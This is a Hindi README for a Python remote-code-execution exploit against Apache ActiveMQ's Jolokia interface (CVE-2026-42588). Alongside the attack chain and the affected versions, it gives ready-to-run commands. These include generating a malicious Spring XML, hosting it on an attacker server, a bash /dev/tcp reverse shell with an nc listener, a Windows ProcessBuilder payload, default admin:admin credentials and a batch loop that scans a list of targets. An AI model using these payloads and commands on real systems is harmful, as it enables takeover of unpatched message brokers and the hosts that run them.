
Apache ActiveMQ Jolokia को लक्षित करने वाले CVE-2026-42588 के लिए Python-आधारित RCE एक्सप्लॉइट। इसमें केवल-जांच मोड, दुर्भावनापूर्ण XML जनरेशन, और रिवर्स शेल, OOB, और फ़ाइल-आधारित सत्यापन के लिए समर्थन शामिल है।
गंभीरता स्तर: 🔴 उच्च जोखिम (CVSS 4.0: 8.1)
भेद्यता प्रकार: CWE-94 — कोड इंजेक्शन
प्रभावित संस्करण: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ संस्करण < 6.2.6
शोषण के लिए आवश्यक: Web Console प्रमाणीकरण क्रेडेंशियल्स आवश्यक (डिफ़ॉल्टadmin:admin)
CVE-2026-42588 Apache ActiveMQ में एक पोस्ट-प्रमाणीकरण दूरस्थ कोड निष्पादन (RCE) भेद्यता है।
हमलावर, Web Console प्रमाणीकरण क्रेडेंशियल्स रखते हुए, Jolokia JMX-HTTP ब्रिज इंटरफ़ेस (/api/jolokia/) के माध्यम से BrokerService.addNetworkConnector(String) विधि को कॉल करता है, एक सावधानीपूर्वक निर्मित masterslave:// डिस्कवरी URI पास करता है, और xbean: प्रोटोकॉल का उपयोग करके एक दूरस्थ Spring XML कॉन्फ़िगरेशन फ़ाइल लोड करता है, अंततः ActiveMQ Broker के JVM में मनमाना सिस्टम कमांड निष्पादित करता है।
/api/jolokia/ (Jolokia JMX-HTTP ब्रिज)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://हमलावर/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring सभी सिंगलटन बीन्स को पूर्व-इंस्टेंशिएट करता है → Runtime.exec() / ProcessBuilder को ट्रिगर करता है
│
▼
🚨 दूरस्थ कोड निष्पादन (RCE)
| चरण | विवरण |
|---|---|
| Jolokia एक्सपोज़र | ActiveMQ Web Console डिफ़ॉल्ट रूप से /api/jolokia/ को एक्सपोज़ करता है, org.apache.activemq:* MBean पर exec ऑपरेशन की अनुमति देता है |
| खतरनाक विधि | BrokerService.addNetworkConnector(String) एक डिस्कवरी URI प्राप्त करता है और उसे पार्स करता है |
| URI ट्रिगर श्रृंखला | masterslave:// प्रोटोकॉल का brokerConfig पैरामीटर नियंत्रणीय है, xbean: स्कीम के साथ Spring संदर्भ लोडिंग को ट्रिगर करता है |
| RCE ट्रिगर बिंदु | XBeanBrokerFactory ResourceXmlApplicationContext का उपयोग करके दूरस्थ XML लोड करता है, Spring कॉन्फ़िगरेशन सत्यापन से पहले सभी सिंगलटन बीन्स को इंस्टेंशिएट करता है |
| संस्करण सीमा | स्थिति |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ प्रभावित |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ प्रभावित |
| Apache ActiveMQ ≥ 5.19.7 | ✅ ठीक किया गया |
| Apache ActiveMQ ≥ 6.2.6 | ✅ ठीक किया गया |
/api/jolokia/ इंटरफ़ेस हमलावर के लिए सुलभ है (डिफ़ॉल्ट पोर्ट 8161)admin:admin).
├── CVE-2026-42588_EXP.py # भेद्यता शोषण स्क्रिप्ट (कोर)
├── malicious.xml # दुर्भावनापूर्ण Spring XML टेम्पलेट
├── requirements.txt # Python निर्भरताएँ
└── README.md # यह फ़ाइल
| फ़ाइल | उपयोग |
|---|---|
CVE-2026-42588_EXP.py | Python भेद्यता शोषण स्क्रिप्ट, जाँच मोड (--check-only) और XML जनरेशन मोड (--gen-xml) का समर्थन करती है |
malicious.xml | दुर्भावनापूर्ण Spring XML कॉन्फ़िगरेशन टेम्पलेट, जिसमें Runtime.exec() और ProcessBuilder दोनों शोषण विधियाँ शामिल हैं |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
हमलावर मशीन पर HTTP सेवा शुरू करें:
python3 -m http.server 8080
# डिफ़ॉल्ट क्रेडेंशियल admin/admin का उपयोग करें
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# कस्टम क्रेडेंशियल का उपयोग करें
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
विकल्प:
-u, --url लक्ष्य ActiveMQ URL (जैसे http://192.168.1.100:8161)
-U, --username Web Console उपयोगकर्ता नाम (डिफ़ॉल्ट: admin)
-P, --password Web Console पासवर्ड (डिफ़ॉल्ट: admin)
-x, --xml-url दुर्भावनापूर्ण Spring XML फ़ाइल का दूरस्थ URL
--check-only केवल Jolokia इंटरफ़ेस पहुंच की जाँच करें
--gen-xml दुर्भावनापूर्ण XML फ़ाइल उत्पन्न करें और stdout पर आउटपुट करें
-c, --command लक्ष्य पर निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: touch /tmp/activemq_pwned)
--timeout HTTP अनुरोध टाइमआउट सेकंड (डिफ़ॉल्ट: 30)
--no-verify SSL प्रमाणपत्र सत्यापन अक्षम करें
1. हमलावर मशीन पर दुर्भावनापूर्ण XML उत्पन्न करें:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML होस्ट करें और सुनना शुरू करें:
# टर्मिनल 1: HTTP सेवा
python3 -m http.server 8080
# टर्मिनल 2: nc सुनना
nc -lvnp 4444
3. भेद्यता ट्रिगर करें:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Windows संस्करण का दुर्भावनापूर्ण XML उत्पन्न करें:
malicious.xml में ProcessBuilder के कमांड को इस प्रकार बदलें:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. होस्ट करें और निष्पादित करें:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# बैच जाँच
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done